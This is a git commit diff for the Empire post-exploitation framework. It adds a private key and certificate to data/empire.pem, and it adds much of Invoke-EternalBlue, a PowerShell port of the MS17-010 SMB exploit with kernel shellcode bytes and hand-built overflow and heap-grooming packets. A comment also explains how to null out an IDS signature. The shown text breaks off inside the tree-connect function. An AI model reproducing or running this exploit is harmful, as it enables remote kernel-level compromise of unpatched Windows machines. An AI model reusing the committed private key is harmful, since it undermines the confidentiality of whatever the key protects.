Merge latest Empire-dev changes

mdns
cobbr 2017-06-29 22:11:01 -05:00
parent 4876227d23
commit e59364efcc
22 changed files with 3777 additions and 593 deletions

4
.gitignore vendored
View File

@ -1,5 +1,6 @@
data/empire.db
data/empire.pem
data/empire-chain.pem
data/empire-priv.key
empire.debug
*.pyc
downloads/*
@ -11,3 +12,4 @@ data/misc/ToObfuscate.ps1
data/misc/Obfuscated.ps1
setup/xar*
setup/bomutils/*
.venv

Binary file not shown.

46
data/empire.pem Normal file
View File

@ -0,0 +1,46 @@
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDT8qCR+GR2lVKG
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
bwGOQI3XAgMBAAECggEBANNjZiqwJuLuw0P+MwzG4WMahqyDe/w4D3AmnBXtP2G1
TOLspxhbSvChXjocydLGpTAqmjQaXsfqF9JJd6OISUCVUir8D+xhztZF7SUt2Mk7
KDtMSvx3Z3E+Qeyp2wW+tHxXz2bmi2pRDFTa8EhZvdLTA9JQ5WyLuYc1zi+ZNxz6
SzybS0Th9RJT0crPuhxEHxAN50pc61trRnI2YHYTaW4ArRbNFXImqRLsU9l9h9kz
VVlVoP9oIJos2a40Osi3Du+6tmVFWcs9+fxxNnY1sfVrAVk6nHI40Vln4Ul+BZyo
ZP8SMnxI9NoSMJahymjkcZad3tbwgvjq+yaQck1alGECgYEA/V14iLkCJoUK6dmU
zhR8p3Pycxy19s0CSSqPYvvnENfxarimOHW6nIMu0eDMXLVnIHAXsr81zWkeh4eP
GPEUSqclGwkXp4yHirMtoTFWhbo16QMSEFBKUHmwNJNSzScLR5jRGgVJapXr+qsN
WNlR3ifF+Ki6f87io9u8/rwUut0CgYEA1ibkSUs2POa0UcAXtE7G/Rsc7aEuVo9b
U+I5uIhMvveKm0Ff2oo1yQzDSxmjFhYzBeXsBQ6Jy796EcaLFpUc9H08kOsJq9gP
JAfSMljLasrqqAQ6J37CAmbEqHQ3MEdEFqUIk6Cf0iVmphXexd7LaDx2IuAy5Kfn
3MXH4KVo3kMCgYA2Yv4guzYO9rglAqPCqPspJuaAd0VIOTGoaw5kfRZYs0ILWp+z
tvHb7vz56Ht12yrL98PehtURxuLazOqWvAlTDRYV+5msSao+x7+fvmuIQTSZVCNo
hROuurBsWMOJbjwpnlAkecYMryn8oQM4c03zli4U9oMyNELKUbz8IXuBsQKBgQC0
4/klKBDSdJWQEFB1j61qEsLmvqVjnIgqXQcgppEdJf/AkQIkmWZBQzSbdTZa67mB
m+s3gkZHAqBb73eBRcdFhZvpVX+/1itD5g9ZU8PPm0OHVLrCrcG3QZOQL0qGz0vm
TNTnzl/xpIIGfKbGQSFUFO49G2Ah4Oprg+0IBvCD/QKBgQCZcIjPZDWMIRg/Q4Fj
ypUb59p8wCQHMuZNwuxRTwjQkAp3xpqYNIBafHSlPzNf8BWzx+orsLnh6RJbA8uB
9++4Wu01u4JofuGdVqN73AJBx8eQEJkJsPNEwxSv4Swzwkw5mGkqi5UzPFMlwwQi
DIF8+rA64PoZDIUB3UkV0i70ng==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC8DCCAdigAwIBAgIJAIVXuX8kX4CxMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV
BAYTAlVTMB4XDTE3MDUxNzA1NDkxNVoXDTE4MDUxNzA1NDkxNVowDTELMAkGA1UE
BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT8qCR+GR2lVKG
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
bwGOQI3XAgMBAAGjUzBRMB0GA1UdDgQWBBRietD7PGv5ivWBLRJMyra4elWlLjAf
BgNVHSMEGDAWgBRietD7PGv5ivWBLRJMyra4elWlLjAPBgNVHRMBAf8EBTADAQH/
MA0GCSqGSIb3DQEBCwUAA4IBAQCOU0aqgYba7aD7/7pV3rZrTFC+kwUs3TZ0/xWi
CZA8aN5+TRQDdvOUM1fqyJx5Y7uv+V9gafHwJAc7FZ9643zS6Zt0I2eUrbP9dmg7
sj8u19Isdy0EetDGXeyA7r+BRUSkFpKbXZYWE7rUr7t3QkROyGbU2ebEE/S2RnBc
A+/d7waKqIyu7wlmcP2jUgQjiwDiWJAuGeb9gJGsTjCj1I4z6rk6/xpnXV70ovG7
jUNm6tOTkxB5pgEel/2gHs/KZVld9gYSoh5GnJWtlFQYvZGaMEK419hfTMElLoQY
8JL+XvYxkA/4+zXtQS3ZgslAAZlh96Nx8SU8QWJ4qJ2jYQJg
-----END CERTIFICATE-----

View File

@ -0,0 +1,713 @@
function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode){
<#
.SYNOPSIS
PowerShell port of MS17_010 Metasploit module
Based on Eternal Blue metasploit module by Sean Dillon <sean.dillon@risksense.com>',
# @zerosum0x0 'Dylan Davis <dylan.davis@risksense.com>',
# @jennamagius
.PARAMETER Target.
Host to exploit
.PARAMETER InitialGrooms
Initial Grooms.
.PARAMETER MaxAttempts
number of times to run exploit
.PARAMETER ShellCode
ShellCode to execute on exploit
.EXAMPLE
Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 12 -MaxAttempts 12 -Shellcode @(0x90,0x90,0xC3)
#>
$enc = [system.Text.Encoding]::ASCII
$GROOM_DELTA = 5
function make_kernel_shellcode {
[Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
0x5E,0xC3)
return $shellcode
}
function make_kernel_user_payload($ring3) {
$sc = make_kernel_shellcode
$sc += [bitconverter]::GetBytes([uint16] ($ring3.length))
$sc += $ring3
return $sc
}
function make_smb2_payload_headers_packet(){
[Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124
return $pkt
}
function make_smb2_payload_body_packet($kernel_user_payload) {
$pkt_max_len = 4204
$pkt_setup_len = 497
$pkt_max_payload = $pkt_max_len - $pkt_setup_len
#padding
[Byte[]] $pkt = [Byte[]] (0x00) * 0x8
$pkt += 0x03,0x00,0x00,0x00
$pkt += [Byte[]] (0x00) * 0x1c
$pkt += 0x03,0x00,0x00,0x00
$pkt += [Byte[]] (0x00) * 0x74
# KI_USER_SHARED_DATA addresses
$pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address
$pkt += [Byte[]] (0x00) * 0x10
$pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address
$pkt += [Byte[]] (0x00) * 0xc4
# payload addreses
$pkt += 0x90,0xf1,0xdf,0xff
$pkt += [Byte[]] (0x00) * 0x4
$pkt += 0xf0,0xf1,0xdf,0xff
$pkt += [Byte[]] (0x00) * 0x40
$pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += [Byte[]] (0x00) * 0x8
$pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += 0x00
$pkt += $kernel_user_payload
# fill out the rest, this can be randomly generated
$pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length)
return $pkt
}
function make_smb1_echo_packet($tree_id, $user_id) {
[Byte[]] $pkt = [Byte[]] (0x00) # type
$pkt += 0x00,0x00,0x31 # len = 49
$pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1
$pkt += 0x2b # Echo
$pkt += 0x00,0x00,0x00,0x00 # Success
$pkt += 0x18 # flags
$pkt += 0x07,0xc0 # flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += $tree_id # Tree ID
$pkt += 0xff,0xfe # PID
$pkt += $user_id # UserID
$pkt += 0x40,0x00 # MultiplexIDs
$pkt += 0x01 # Word count
$pkt += 0x01,0x00 # Echo count
$pkt += 0x0c,0x00 # Byte count
# echo data
# this is an existing IDS signature, and can be nulled out
#$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00
$pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00
return $pkt
}
function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) {
$timeout = ($timeout * 0x10) + 3
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
$pkt += 0x00,0x10,0x35 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0x33 # Trans2 request
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += 0x07,0xc0 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += $user_id # TreeID
$pkt += 0xff,0xfe # PID
$pkt += $user_id # UserID
$pkt += 0x40,0x00 # MultiplexIDs
$pkt += 0x09 # Word Count
$pkt += 0x00,0x00 # Total Param Count
$pkt += 0x00,0x10 # Total Data Count
$pkt += 0x00,0x00 # Max Param Count
$pkt += 0x00,0x00 # Max Data Count
$pkt += 0x00 # Max Setup Count
$pkt += 0x00 # Reserved
$pkt += 0x00,0x10 # Flags
$pkt += 0x35,0x00,0xd0 # Timeouts
$pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int
$pkt += 0x00,0x00 # Reserved
$pkt += 0x00,0x10 # Parameter Count
#$pkt += 0x74,0x70 # Parameter Offset
#$pkt += 0x47,0x46 # Data Count
#$pkt += 0x45,0x6f # Data Offset
#$pkt += 0x4c # Setup Count
#$pkt += 0x4f # Reserved
if ($type -eq "eb_trans2_exploit") {
$pkt += [Byte[]] (0x41) * 2957
$pkt += 0x80,0x00,0xa8,0x00 # overflow
$pkt += [Byte[]] (0x00) * 0x10
$pkt += 0xff,0xff
$pkt += [Byte[]] (0x00) * 0x6
$pkt += 0xff,0xff
$pkt += [Byte[]] (0x00) * 0x16
$pkt += 0x00,0xf1,0xdf,0xff # x86 addresses
$pkt += [Byte[]] (0x00) * 0x8
$pkt += 0x20,0xf0,0xdf,0xff
$pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64
$pkt += 0x60,0x00,0x04,0x10
$pkt += [Byte[]] (0x00) * 4
$pkt += 0x80,0xef,0xdf,0xff
$pkt += [Byte[]] (0x00) * 4
$pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += [Byte[]] (0x00) * 0x10
$pkt += 0x60,0x00,0x04,0x10
$pkt += [Byte[]] (0x00) * 0xc
$pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
$pkt += [Byte[]] (0x00) * 0x8
$pkt += 0x80,0x10
$pkt += [Byte[]] (0x00) * 0xe
$pkt += 0x39
$pkt += 0xbb
$pkt += [Byte[]] (0x41) * 965
return $pkt
}
if($type -eq "eb_trans2_zero") {
$pkt += [Byte[]] (0x00) * 2055
$pkt += 0x83,0xf3
$pkt += [Byte[]] (0x41) * 2039
#$pkt += 0x00 * 4096
}
else {
$pkt += [Byte[]] (0x41) * 4096
}
return $pkt
}
function negotiate_proto_request()
{
[Byte[]] $pkt = [Byte[]] (0x00) # Message_Type
$pkt += 0x00,0x00,0x54 # Length
$pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB
$pkt += 0x72 # smb_command: Negotiate Protocol
$pkt += 0x00,0x00,0x00,0x00 # nt_status
$pkt += 0x18 # flags
$pkt += 0x01,0x28 # flags2
$pkt += 0x00,0x00 # process_id_high
$pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature
$pkt += 0x00,0x00 # reserved
$pkt += 0x00,0x00 # tree_id
$pkt += 0x2F,0x4B # process_id
$pkt += 0x00,0x00 # user_id
$pkt += 0xC5,0x5E # multiplex_id
$pkt += 0x00 # word_count
$pkt += 0x31,0x00 # byte_count
# Requested Dialects
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12
return $pkt
}
function make_smb1_nt_trans_packet($tree_id, $user_id) {
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
$pkt += 0x00,0x04,0x38 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0xa0 # NT Trans
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += 0x07,0xc0 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += $tree_id # TreeID
$pkt += 0xff,0xfe # PID
$pkt += $user_id # UserID
$pkt += 0x40,0x00 # MultiplexID
$pkt += 0x14 # Word Count
$pkt += 0x01 # Max Setup Count
$pkt += 0x00,0x00 # Reserved
$pkt += 0x1e,0x00,0x00,0x00 # Total Param Count
$pkt += 0xd0,0x03,0x01,0x00 # Total Data Count
$pkt += 0x1e,0x00,0x00,0x00 # Max Param Count
$pkt += 0x00,0x00,0x00,0x00 # Max Data Count
$pkt += 0x1e,0x00,0x00,0x00 # Param Count
$pkt += 0x4b,0x00,0x00,0x00 # Param Offset
$pkt += 0xd0,0x03,0x00,0x00 # Data Count
$pkt += 0x68,0x00,0x00,0x00 # Data Offset
$pkt += 0x01 # Setup Count
$pkt += 0x00,0x00 # Function <unknown>
$pkt += 0x00,0x00 # Unknown NT transaction (0) setup
$pkt += 0xec,0x03 # Byte Count
$pkt += [Byte[]] (0x00) * 0x1f # NT Parameters
# undocumented
$pkt += 0x01
$pkt += [Byte[]](0x00) * 0x3cd
return $pkt
}
function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) {
[Byte[]] $pkt = 0x00 # Session message
$pkt += 0x00,0x00,0x51 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0x73 # Session Setup AndX
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += $flags2 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += 0x00,0x00 # TreeID
$pkt += 0xff,0xfe # PID
$pkt += 0x00,0x00 # UserID
$pkt += 0x40,0x00 # MultiplexID
#$pkt += 0x00,0x00 # Reserved
$pkt += 0x0c # Word Count
$pkt += 0xff # No further commands
$pkt += 0x00 # Reserved
$pkt += 0x00,0x00 # AndXOffset
$pkt += 0x04,0x11 # Max Buffer
$pkt += 0x0a,0x00 # Max Mpx Count
$pkt += $vcnum # VC Number
$pkt += 0x00,0x00,0x00,0x00 # Session key
$pkt += 0x00,0x00 # Security blob length
$pkt += 0x00,0x00,0x00,0x00 # Reserved
$pkt += 0x00,0x00,0x00,0x80 # Capabilities
$pkt += 0x16,0x00 # Byte count
#$pkt += 0xf0 # Security Blob: <MISSING>
#$pkt += 0xff,0x00,0x00,0x00 # Native OS
#$pkt += 0x00,0x00 # Native LAN manager
#$pkt += 0x00,0x00 # Primary domain
$pkt += $native_os
$pkt += [Byte[]] (0x00) * 17 # Extra byte params
return $pkt
}
function make_smb1_anonymous_login_packet {
# Neither Rex nor RubySMB appear to support Anon login?
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
$pkt += 0x00,0x00,0x88 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0x73 # Session Setup AndX
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += 0x07,0xc0 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # TreeID
$pkt += 0xff,0xfe # PID
$pkt += 0x00,0x00 # Reserved
$pkt += 0x00,0x00 # UserID
$pkt += 0x40,0x00 # MultiplexID
$pkt += 0x0d # Word Count
$pkt += 0xff # No further commands
$pkt += 0x00 # Reserved
$pkt += 0x88,0x00 # AndXOffset
$pkt += 0x04,0x11 # Max Buffer
$pkt += 0x0a,0x00 # Max Mpx Count
$pkt += 0x00,0x00 # VC Number
$pkt += 0x00,0x00,0x00,0x00 # Session key
$pkt += 0x01,0x00 # ANSI pw length
$pkt += 0x00,0x00 # Unicode pw length
$pkt += 0x00,0x00,0x00,0x00 # Reserved
$pkt += 0xd4,0x00,0x00,0x00 # Capabilities
$pkt += 0x4b,0x00 # Byte count
$pkt += 0x00 # ANSI pw
$pkt += 0x00,0x00 # Account name
$pkt += 0x00,0x00 # Domain name
# Windows 2000 2195
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00
$pkt += 0x00,0x00
# Windows 2000 5.0
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00
return $pkt
}
function tree_connect_andx_request($Target, $userid) {
[Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type'
$pkt +=0x00,0x00,0x47 #$pkt +=Length'
$pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB
$pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX
$pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status'
$pkt +=0x18 #$pkt +=flags'
$pkt +=0x01,0x20 #$pkt +=flags2'
$pkt +=0x00,0x00 #$pkt +=process_id_high'
$pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature'
$pkt +=0x00,0x00 #$pkt +=reserved'
$pkt +=0x00,0x00 #$pkt +=tree_id'
$pkt +=0x2F,0x4B #$pkt +=process_id'
$pkt += $userid #$pkt +=user_id'
$pkt +=0xC5,0x5E #$pkt +=multiplex_id'
$ipc = "\\"+ $Target + "\IPC$"
$pkt +=0x04 # Word Count
$pkt +=0xFF # AndXCommand: No further commands
$pkt +=0x00 # Reserved
$pkt +=0x00,0x00 # AndXOffset
$pkt +=0x00,0x00 # Flags
$pkt +=0x01,0x00 # Password Length
$pkt +=0x1A,0x00 # Byte Count
$pkt +=0x00 # Password
$pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$
$pkt += 0x00 # null byte after ipc added by kev
$pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service
$len = $pkt.Length - 4
